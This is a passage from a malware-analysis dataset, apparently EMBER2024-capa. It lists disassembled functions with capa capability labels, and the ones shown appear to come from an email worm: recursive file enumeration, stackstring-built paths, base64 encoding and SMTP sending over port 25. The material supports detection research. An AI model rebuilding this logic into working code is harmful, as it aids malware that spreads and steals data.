joyce8/EMBER2024-capa huggingface dataset:
Function at 0x804d32
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
jle 0x804d50
mov esi, dword [ebp + 8]
cmp esi, edi
je 0x804d50
cmp byte [esi], 0
jne 0x804d62
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
push 0x800
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x808248], edi
jne 0x804d57
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x11c]
push esi
push eax
call ebx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x11c]
push 0x801a7c
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x804dde
lea eax, [ebp - 0x11c]
push 0x801a70
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x804dde
lea eax, [ebp - 0x11c]
push 0x801a68
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x804dde
lea eax, [ebp - 0x11c]
push 0x801a5c
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x804de5
push esi
call fcn.00803352
pop ecx
lea eax, [ebp - 0x11c]
push esi
push eax
call ebx
lea eax, [ebp - 0x11c]
lea edi, [ebp - 0x11c]
push eax
dec edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp byte [eax + edi], 0x5c
je 0x804e1b
lea eax, [ebp - 0x11c]
push 0x801360
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x11c]
push 0x801a58
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x140
lea eax, [ebp - 0x25c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x25c]
push eax
jne 0x804e79
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x804e6d
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x804f3e
jmp 0x804e8a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x804f35
cmp byte [ebp - 0x230], 0x2e
jne 0x804eae
cmp byte [ebp - 0x22f], 0
je 0x804e47
cmp byte [ebp - 0x22f], 0x2e
jne 0x804eae
cmp byte [ebp - 0x22e], 0
je 0x804e47
lea eax, [ebp - 0x11c]
push esi
push eax
call ebx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp byte [eax + edi], 0x5c
je 0x804edd
lea eax, [ebp - 0x11c]
push 0x801360
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
test byte [ebp - 0x25c], 0x10
je 0x804f1a
push 0x4b
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00804d32
pop ecx
pop ecx
jmp 0x804e47
lea eax, [ebp - 0x11c]
lea esi, [ebp - 0x25c]
push eax
call fcn.00804bb6
mov esi, dword [ebp + 8]
pop ecx
jmp 0x804e47
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor eax, eax
pop ebx
jmp 0x804d53
Function at 0x804f46
Capabilities:
Contain obfuscated stackstrings
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 0x14], 0x4c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x53
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x67
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], bl
mov byte [ebp - 0x30], 0x54
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x6d
mov byte [ebp - 0x2d], 0x70
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x72
mov byte [ebp - 0x28], 0x79
mov byte [ebp - 0x27], 0x20
mov byte [ebp - 0x26], 0x49
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x1d], 0x46
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], bl
mov dword [ebp - 4], ebx
mov esi, 0x184
push esi
lea eax, [ebp - 0x1b4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp - 4], ebx
lea eax, [ebp - 0x1b4]
push esi
push eax
jne 0x805026
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
jmp 0x805031
push 0x801a84
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
cmp byte [ebp - 0x1b4], bl
je 0x80509f
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x1b4]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x805061
lea eax, [ebp - 0x1b4]
push 0x801360
push eax
call edi
cmp dword [ebp - 4], 1
jne 0x805082
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1b4]
push eax
call edi
lea eax, [ebp - 0x1b4]
push 0x801360
push eax
call edi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x1b4]
push eax
call edi
lea eax, [ebp - 0x1b4]
push 5
push eax
call fcn.00804d32
pop ecx
pop ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x805000
pop edi
pop esi
pop ebx
leave
ret
Function at 0x8050b1
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, 0x104
lea eax, [ebp - 0x104]
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov bl, byte [ebp - 0x104]
lea eax, [ebp - 0x103]
push 0x801a90
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x104]
push 0xf
push eax
call fcn.00804d32
pop ecx
mov byte [ebp - 0x104], 0x43
pop ecx
cmp byte [ebp - 0x104], bl
je 0x805145
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x805145
push 0x1194
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x104]
push 0xf
push eax
call fcn.00804d32
pop ecx
pop ecx
inc byte [ebp - 0x104]
cmp byte [ebp - 0x104], 0x5a
jle 0x805110
pop esi
pop ebx
leave
ret

Function at 0x805158
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push esi
push dword [0x801350]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
cmp eax, 0xffffffff
je 0x80518f
push dword [0x801350]
call fcn.008048a0
pop ecx
push dword [0x801350]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x1d4c0
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
call fcn.00804a7d
call fcn.00804f46
call fcn.008050b1
inc dword [0x808138]
push 0x6f54
call esi
jmp 0x8051a8

Function at 0x805205
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x805219
call fcn.008051bc
mov ecx, eax
test ecx, ecx
jne 0x80521d
xor eax, eax
pop esi
ret
mov eax, dword [esp + 8]
push edi
mov edi, dword [esp + 0x14]
test edi, edi
not eax
jle 0x805242
mov dl, byte [esi]
xor edx, eax
and edx, 0xff
shr eax, 8
mov edx, dword [ecx + edx*4]
xor eax, edx
inc esi
dec edi
jne 0x80522c
pop edi
pop esi
not eax
ret

Function at 0x8052a2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.DLL_ReadFile]
mov dword [ebp - 8], esi
mov ebx, 0x400
jmp 0x8052e9
cmp dword [ebp - 4], esi
je 0x805302
push dword [ebp - 4]
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.00805205
add esp, 0xc
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x408]
push ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 4], esi
call edi
test eax, eax
jne 0x8052cc
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x805a22
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
lea eax, [ebp - 0x208]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
push 0
lea eax, [ebp - 0x208]
push 0x8022d0
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0
push eax
lea edi, [esi + 0x5ab]
push edi
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x104]
push eax
call fcn.008059eb
add esi, 0x4aa
pop ecx
cmp byte [esi], 0
je 0x805a92
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x104]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov byte [esi], 1
pop edi
pop esi
leave
ret
Function at 0x805fd0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
add eax, 0x5ab
push edi
push edi
push 3
push edi
push 3
push bind
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x18], eax
jne 0x806007
xor eax, eax
inc eax
jmp 0x806122
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], edi
xor ebx, ebx
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 4], eax
jb 0x806044
lea eax, [ebp - 0x14]
push edi
push eax
lea eax, [ebp - 0x418]
push 0x400
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 0x14], edi
je 0x8060e0
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
inc esi
inc dword [ebp - 4]
cmp esi, 3
mov al, byte [ebp + eax - 0x418]
mov byte [ebp + esi - 0xd], al
jne 0x806016
lea edx, [ebp - 8]
lea eax, [ebp - 0xc]
call fcn.00805f6c
xor esi, esi
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x7b8], edi
je 0x8060a3
call fcn.00802e9c
movzx eax, ax
cdq
mov ecx, 0x190
idiv ecx
cmp edx, 2
jge 0x806091
mov eax, dword [ebp + 8]
mov byte [ebx + eax], 0x20
jmp 0x8060a2
cmp edx, 4
jge 0x8060a3
mov eax, dword [ebp + 8]
mov byte [ebx + eax], 0xd
inc ebx
mov byte [ebx + eax], 0xa
inc ebx
mov eax, dword [ebp + 8]
mov cl, byte [ebp + esi - 8]
mov byte [ebx + eax], cl
inc ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x4c
jb 0x8060c4
mov byte [ebx + eax], 0xd
inc ebx
mov dword [ebp - 0x10], edi
mov byte [ebx + eax], 0xa
inc ebx
inc esi
cmp esi, 4
jb 0x806068
push 3
lea eax, [ebp - 0xc]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
jmp 0x806016
cmp esi, edi
je 0x80610e
lea edx, [ebp - 8]
lea eax, [ebp - 0xc]
call fcn.00805f6c
cmp esi, 3
jae 0x8060f8
mov byte [ebp - 5], 0x3d
cmp esi, 2
jae 0x806101
mov byte [ebp - 6], 0x3d
mov eax, dword [ebp + 8]
lea esi, [ebp - 8]
lea edi, [ebx + eax]
add ebx, 4
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
push dword [ebp - 0x18]
and byte [ebx + eax], 0
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
xor eax, eax
pop ebx
pop edi
leave
ret
Function at 0x8062ca
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c0
push ebx
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
je 0x8063fa
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 7
jl 0x8063fa
push esi
push 0x7c0
lea eax, [ebp - 0x7c0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x7c0], ebx
call fcn.00802e9c
movzx eax, ax
push 0x64
xor esi, esi
cdq
pop ecx
inc esi
idiv ecx
cmp edx, 0x46
jge 0x80632a
mov dword [ebp - 0x7c0], esi
mov dword [ebp - 8], ebx
call fcn.00802e9c
movzx eax, ax
push 0x64
cdq
pop ecx
idiv ecx
cmp edx, 0x32
jge 0x806343
mov dword [ebp - 8], esi
lea eax, [ebp - 0x7bc]
push edi
push eax
mov dword [ebp - 0x5bc], edi
call fcn.00805551
pop ecx
lea eax, [ebp - 0x7c0]
pop ecx
call fcn.00805575
lea eax, [ebp - 0x7c0]
call fcn.00805729
lea eax, [ebp - 0x7c0]
call fcn.008058e5
lea esi, [ebp - 0x7c0]
call fcn.00805aa7
test eax, eax
pop esi
jne 0x8063fa
mov eax, dword [ebp - 0x110]
push 3
shl eax, 2
cdq
pop ecx
idiv ecx
mov ecx, 0x400
add eax, 0x239f
cdq
idiv ecx
shl eax, 0xa
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x8063d7
mov byte [eax], bl
lea eax, [ebp - 0x7c0]
call fcn.00806125
lea eax, [ebp - 0x7c0]
call fcn.008061f8
test eax, eax
je 0x8063fe
cmp byte [ebp - 0x316], bl
je 0x8063ec
lea eax, [ebp - 0x215]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp dword [ebp - 0xc], ebx
je 0x8063fa
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
xor eax, eax
jmp 0x806416
cmp byte [ebp - 0x316], bl
je 0x806413
lea eax, [ebp - 0x215]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [ebp - 0xc]
pop edi
pop ebx
leave
ret

Function at 0x80641a
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
xor esi, esi
xor ebx, ebx
inc esi
push edi
cmp dword [ebp + 0x10], esi
mov dword [ebp - 4], ebx
jle 0x8064a4
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], esi
sub dword [ebp - 8], edi
mov eax, dword [ebp + 0x14]
cmp eax, ebx
je 0x80647e
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x110], ecx
mov ecx, 0x3e8
cdq
idiv ecx
imul edx, edx, 0x3e8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x114]
push ebx
push eax
push ebx
mov dword [ebp - 0xc], edx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x8064a4
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, ebx
jl 0x8064b2
je 0x8064a4
mov al, byte [edi]
inc dword [ebp - 4]
inc edi
cmp al, 0xa
je 0x8064a4
mov eax, dword [ebp - 8]
add eax, edi
cmp eax, dword [ebp + 0x10]
jl 0x80643c
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov byte [eax + ecx], bl
pop edi
pop esi
pop ebx
leave
ret
or eax, 0xffffffff
jmp 0x8064ad
Function at 0x8064b7
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x8064cf
test esi, esi
jne 0x8064e1
cmp byte [edi], 0x30
je 0x8064e8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x8064e1
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
cmp esi, 0xffffffff
jne 0x8064e8
xor esi, esi
mov eax, esi
pop esi
ret

Function at 0x8066c8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp dword [ebp + 0x10], 0
je 0x80670b
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x400]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
lea eax, [ebp - 0x400]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push esi
mov esi, 0x400
jmp 0x806746
lea ecx, [ebp - 0x400]
xor eax, eax
mov dl, byte [ecx]
cmp dl, 0x20
je 0x806727
cmp dl, 9
jne 0x80673a
inc ecx
jmp 0x80671b
cmp dl, 0x39
jg 0x806741
movsx edx, dl
lea eax, [eax + eax*4]
inc ecx
lea eax, [edx + eax*2 - 0x30]
mov dl, byte [ecx]
cmp dl, 0x30
jge 0x80672a
cmp byte [ecx], 0x2d
jne 0x806762
push dword [ebp + 0xc]
lea eax, [ebp - 0x400]
push esi
push eax
push dword [ebp + 8]
call fcn.0080641a
add esp, 0x10
test eax, eax
jg 0x806713
xor eax, eax
pop esi
leave
ret
Function at 0x806765
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x308
push esi
mov esi, 0x100
lea eax, [ebp - 0x108]
push esi
push eax
mov eax, dword [ebp + 0xc]
push 0x802650
call fcn.008064ec
add esp, 0xc
test eax, eax
jne 0x8067e6
lea eax, [ebp - 0x108]
push eax
call fcn.00806698
lea eax, [ebp - 0x308]
push esi
push eax
mov eax, dword [ebp + 0xc]
push 0x80264c
call fcn.008064ec
add esp, 0x10
test eax, eax
jne 0x8067e6
lea eax, [ebp - 0x308]
push eax
call fcn.00806698
pop ecx
lea eax, [ebp - 0x108]
mov cl, byte [ebp - 0x108]
test cl, cl
je 0x8067e6
cmp cl, 0x40
je 0x8067e1
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x8067d5
cmp byte [eax], 0
jne 0x8067ee
xor eax, eax
inc eax
jmp 0x8069e7
inc eax
push ebx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 4], ebx
jne 0x80681c
xor eax, eax
inc eax
jmp 0x8069e6
push edi
push 0x10
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x8069d9
push eax
push 0x3a98
push ebx
call fcn.008066c8
mov esi, 0xc8
add esp, 0xc
cmp eax, esi
jl 0x8069d9
cmp eax, 0x190
jge 0x8069d9
lea eax, [ebp - 0x208]
mov edi, 0x2710
push eax
push 0x802648
push 0x80263c
push edi
push ebx
call fcn.008066c8
add esp, 0x14
cmp eax, esi
jl 0x806883
cmp eax, 0x12b
jle 0x8068b1
lea eax, [ebp - 0x208]
push eax
push 0x802638
push 0x80262c
push edi
push ebx
call fcn.008066c8
add esp, 0x14
cmp eax, esi
jl 0x8069d9
cmp eax, 0x12b
jg 0x8069d9
lea eax, [ebp - 0x108]
push eax
push 0x802624
push 0x802614
push edi
push ebx
call fcn.008066c8
add esp, 0x14
cmp eax, esi
jl 0x8069d9
cmp eax, 0x12b
jg 0x8069d9
lea eax, [ebp - 0x308]
push eax
push 0x80260c
push 0x8025fc
push edi
push ebx
call fcn.008066c8
add esp, 0x14
cmp eax, esi
jl 0x8069d9
cmp eax, 0x12b
jg 0x8069d9
push 0x8025f4
push edi
push ebx
call fcn.008066c8
add esp, 0xc
cmp eax, esi
jl 0x8069d9
cmp eax, 0x18f
jg 0x8069d9
mov ecx, dword [ebp + 0xc]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], ecx
mov al, byte [ecx]
mov ebx, ecx
jmp 0x80694c
cmp al, 0xa
je 0x80695a
cmp al, 0xd
je 0x806950
inc ebx
mov al, byte [ebx]
test al, al
jne 0x806941
mov al, byte [ebx]
cmp al, 0xa
je 0x80695a
cmp al, 0xd
jne 0x80695d
inc ebx
jmp 0x806950
cmp ecx, ebx
je 0x80698f
cmp byte [ecx], 0x2e
jne 0x806977
push 0
push 1
push 0x8014b0
push dword [ebp - 4]
call edi
mov ecx, dword [ebp - 8]
mov eax, ebx
push 0
sub eax, ecx
push eax
push ecx
push dword [ebp - 4]
call edi
test eax, eax
jle 0x8069d6
mov dword [ebp - 8], ebx
mov ecx, ebx
jmp 0x80693b
push 0
push 5
push 0x8025ec
push dword [ebp - 4]
call edi
push 0
push 0x3a98
push dword [ebp - 4]
call fcn.008066c8
add esp, 0xc
cmp eax, esi
jl 0x8069d6
cmp eax, 0x190
jge 0x8069d6
push 0x8025e4
push 0x1388
push dword [ebp - 4]
call fcn.008066c8
mov ebx, dword [ebp - 4]
add esp, 0xc
xor esi, esi
jmp 0x8069dc
mov ebx, dword [ebp - 4]
xor esi, esi
inc esi
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
pop ebx
pop esi
leave
ret
Function at 0x8069ea
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x8026a4
push edi
push eax
push eax
push 0x802698
lea eax, [ebp - 0x124]
push 0x802670
push eax
call esi
push 0x802668
push 0x802660
lea eax, [ebp - 0xa4]
push 0x802658
push eax
call esi
add esp, 0x24
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x20019
lea eax, [ebp - 0x124]
push edi
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x806a5a
xor eax, eax
inc eax
jmp 0x806b4b
mov esi, 0x100
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea eax, [ebp - 0x324]
push esi
push eax
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
push edi
jmp 0x806b2c
lea eax, [ebp - 0x10]
inc dword [ebp - 8]
push eax
push 0x20019
lea eax, [ebp - 0x324]
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x806b21
push esi
lea eax, [ebp - 0x224]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
lea eax, [ebp - 0x224]
push eax
push edi
lea eax, [ebp - 0xa4]
push edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x806b13
lea edi, [ebp - 0x224]
call fcn.008064b7
test eax, eax
mov dword [ebp - 0x20], eax
je 0x806b11
push 0x19
mov word [ebp - 0x24], 2
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 8]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x24]
push eax
call fcn.00806765
pop ecx
test eax, eax
pop ecx
jne 0x806b11
mov dword [ebp - 0xc], 1
xor edi, edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], edi
jne 0x806b39
lea eax, [ebp - 0x324]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call ebx
test eax, eax
je 0x806a7a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 0xc], edi
pop ebx
sete al
pop edi
pop esi
leave
ret

Function at 0x806cd1
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x40888c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41dba0]
jne 0x408896
repz ret
jmp fcn.0040e9fc

Function at 0x40e32d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41dba0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040500e
and dword [ebp - 0x14], 0
cmp dword [0x49fb20], 0
mov dword [ebp - 0x18], eax
jne 0x40e3e0
push 0x402bb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e488
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bac
push ebx
call edi
test eax, eax
je 0x40e488
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402b9c
push ebx
mov dword [0x49fb20], eax
call edi
push eax
call esi
push 0x402b88
push ebx
mov dword [0x49fb24], eax
call edi
push eax
call esi
push 0x402b6c
push ebx
mov dword [0x49fb28], eax
call edi
push eax
call esi
mov dword [0x49fb30], eax
test eax, eax
je 0x40e3e0
push 0x402b54
push ebx
call edi
push eax
call esi
mov dword [0x49fb2c], eax
mov eax, dword [0x49fb2c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e439
cmp dword [0x49fb30], ecx
je 0x40e439
push eax
call esi
push dword [0x49fb30]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e439
test ebx, ebx
je 0x40e439
call edi
test eax, eax
je 0x40e430
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e430
test byte [ebp - 8], 1
jne 0x40e439
or dword [ebp + 0x10], 0x200000
jmp 0x40e46c
mov eax, dword [0x49fb24]
cmp eax, dword [ebp - 0x18]
je 0x40e46c
push eax
call esi
test eax, eax
je 0x40e46c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e46c
mov eax, dword [0x49fb28]
cmp eax, dword [ebp - 0x18]
je 0x40e46c
push eax
call esi
test eax, eax
je 0x40e46c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x49fb20]
call esi
test eax, eax
je 0x40e488
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e48a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040888c
leave
ret
Function at 0x41b230
Capabilities:
Delete file
Get uefi variable

Disassembly:
sub esp, 0xc2c
cmp dword [0x2bc9684], 0x37
jne 0x41b2a6
push 0x4035d8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0x4035e8
push 0x403614
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
lea edx, [esp]
push edx
push 0
lea eax, [esp + 0x1c]
push eax
push 0
